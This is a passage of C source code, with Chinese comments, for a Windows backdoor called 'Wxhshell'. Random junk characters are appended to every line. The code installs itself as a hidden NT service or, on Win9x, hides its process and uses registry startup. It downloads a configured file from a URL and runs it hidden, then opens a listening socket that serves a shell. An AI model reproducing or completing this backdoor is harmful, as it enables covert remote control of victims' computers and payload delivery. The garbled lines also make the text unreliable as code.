ULONG InheritedFromUniqueProcessId; N.0g%0A.D
} PROCESS_BASIC_INFORMATION; =dsEt\
j
[%O f
PROCNTQSIP NtQueryInformationProcess; pRzL}-[/v
nM ?Nf}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lz!JLiMEET
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @|5B}%!
ioEjbqD<
HANDLE hProcess; n/x((d%"E
PROCESS_BASIC_INFORMATION pbi; /='Q-`?9
hC9EL=
A
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M6bM`wHH>
if(NULL == hInst ) return 0; '1(6@5tyWk
mHV{9J
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R:3=!zav
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IRueq @4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g5RH:]DV
KMK8jJ
if (!NtQueryInformationProcess) return 0; |f/Uzd ~
VN(*m(b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t{QQ;'
if(!hProcess) return 0; O#t[YP
dPbn[*:
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s 0_*^cZ
<*WGvCh%w
CloseHandle(hProcess); w/"vf3}(9
\.}ZvM$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %H;}+U]Z
if(hProcess==NULL) return 0; _RUL$Ds
^*.+4iHx
HMODULE hMod; hlZ{bO'f
char procName[255]; IC (:RtJ
unsigned long cbNeeded; H
XFY
z&B9Yu4M7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^#Mp@HK
N/ '
CloseHandle(hProcess); .ZV='i()X
j S[#R_
if(strstr(procName,"services")) return 1; // 以服务启动 fVf:voh
9D Nd} rXO
return 0; // 注册表启动 (wu ciKQ
} Jm#p!G+
ck%YEMs
// 主模块 Vo+.s#wN`h
int StartWxhshell(LPSTR lpCmdLine) 9_nbMs
{ '=%`;?j
SOCKET wsl; vm{8x o
BOOL val=TRUE; +2}cR66%
int port=0; [ZC\8tP`V
struct sockaddr_in door; 93:oXyFjD
97$Q?a8S@
if(wscfg.ws_autoins) Install(); KO%$
W$2\GPJt
port=atoi(lpCmdLine); 2K{'F1"RM
_x1W\#
if(port<=0) port=wscfg.ws_port; /CMgWGI
09trFj$L
WSADATA data; 7(uz*~Z?`0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yh!=mW!OY
Shn=Q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vz>9jw:Y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a!/\:4-uc
door.sin_family = AF_INET; X 6tJ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); JN4gH4ez)
door.sin_port = htons(port); Kw$@_~BJ6
:o8|P
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f6yj\qq]
closesocket(wsl); cm_5,wB(w
return 1; &P>& T
} !02y'JS1
hc[J,yG
if(listen(wsl,2) == INVALID_SOCKET) { [Eccj`\e g
closesocket(wsl); ep?D;g
return 1; U._fb=
} W] DGt|JP
Wxhshell(wsl); LU+SuVm
WSACleanup(); Bpm COA
24k]X`/n
return 0; tgl(*[T2
dKCl#~LAI'
} 3)ox8,{%}
%8|lAMTY7/
// 以NT服务方式启动 _z8"r&
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VFx[{Hy
{ li
v=q
DWORD status = 0; CHZ/@gc
DWORD specificError = 0xfffffff; <5}I6R;
@'):rFr@F
serviceStatus.dwServiceType = SERVICE_WIN32; 3<"j/9;K'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @&`^#pok
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OylUuYy~j
serviceStatus.dwWin32ExitCode = 0; yj#FO'UY
serviceStatus.dwServiceSpecificExitCode = 0; {Ji&rk}NP
serviceStatus.dwCheckPoint = 0; )B"{B1(
serviceStatus.dwWaitHint = 0; 2uN3:_w
DbLo{mFEIj
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dO%f ;m>#
if (hServiceStatusHandle==0) return; R!QR@*N
H"(#Tp ZTE
status = GetLastError(); O8b#'f~
if (status!=NO_ERROR) cW_wIy\]&
{ J$42*S Y
serviceStatus.dwCurrentState = SERVICE_STOPPED; f=}T^Z<
serviceStatus.dwCheckPoint = 0; ymqv@Byi8A
serviceStatus.dwWaitHint = 0; %K')_NS@
serviceStatus.dwWin32ExitCode = status; n44 T4q
serviceStatus.dwServiceSpecificExitCode = specificError; Yj>4*C9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3<+ZA-2
return; V 0Oqq0\
} }BU%<5CQ
?A7 AVR
serviceStatus.dwCurrentState = SERVICE_RUNNING; X/cb1#
serviceStatus.dwCheckPoint = 0; BJb,
serviceStatus.dwWaitHint = 0; &V$cwB
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h&CZN !
} 2ua!<^,
MD;Z UAX<
// 处理NT服务事件,比如:启动、停止 fh3uo\`@
VOID WINAPI NTServiceHandler(DWORD fdwControl) XPqGv=CN
{ =v?P7;T
switch(fdwControl) R&;x_4dr^
{ GiX3c^V"1
case SERVICE_CONTROL_STOP: MGMJeqvr
serviceStatus.dwWin32ExitCode = 0; {*F
=&D
serviceStatus.dwCurrentState = SERVICE_STOPPED; JxwKTFU'3O
serviceStatus.dwCheckPoint = 0; ! J<Xel{
serviceStatus.dwWaitHint = 0; 21tv(x
{ J&fIWZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4-SU\_
} E56
return; 6'kQ(r>
case SERVICE_CONTROL_PAUSE: 0$c(<+D
serviceStatus.dwCurrentState = SERVICE_PAUSED; e
ar:`11z
break; B !,&{[D
case SERVICE_CONTROL_CONTINUE: Nv.
serviceStatus.dwCurrentState = SERVICE_RUNNING; (wq8[1Wzup
break; #<"od '{U
case SERVICE_CONTROL_INTERROGATE: d]E={}qo&
break; ;YY<KuT
}; YR0AI l:L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o*/;Zp==
} au+Jz_$)
A :KZyd"Z
// 标准应用程序主函数 )Cj1VjAg
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M0xhcU_
{ G .<0^q,
WwTl|wgvyI
// 获取操作系统版本 M>m!\bb%.
OsIsNt=GetOsVer(); [pEb`s
GetModuleFileName(NULL,ExeFile,MAX_PATH); ()Kaxcs?+
`r-Jy{!y4
// 从命令行安装 vJGH8$%;,
if(strpbrk(lpCmdLine,"iI")) Install(); g$#A'Du
]58~b%s
// 下载执行文件 !`H{jwH
if(wscfg.ws_downexe) { /"st
sF
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jQm~F`z
WinExec(wscfg.ws_filenam,SW_HIDE); >Rt:8uurAG
} }=R0AKz!Cv
:{)uD
;
if(!OsIsNt) { fXWE4^jU
// 如果时win9x,隐藏进程并且设置为注册表启动 )'f=!'X
HideProc(); -r<8mL:yW
StartWxhshell(lpCmdLine); $Ugc:L<h+
} 6>#8^{[
else (nq""kO6'
if(StartFromService()) .6$=]hdAp
// 以服务方式启动 Uv>e :U7 ;
StartServiceCtrlDispatcher(DispatchTable); 1ow,'FztPt
else tjRwbnT"
// 普通方式启动 X$\CC18
StartWxhshell(lpCmdLine); mxF+Fp~
PVF:p7
return 0; %G2g
@2
}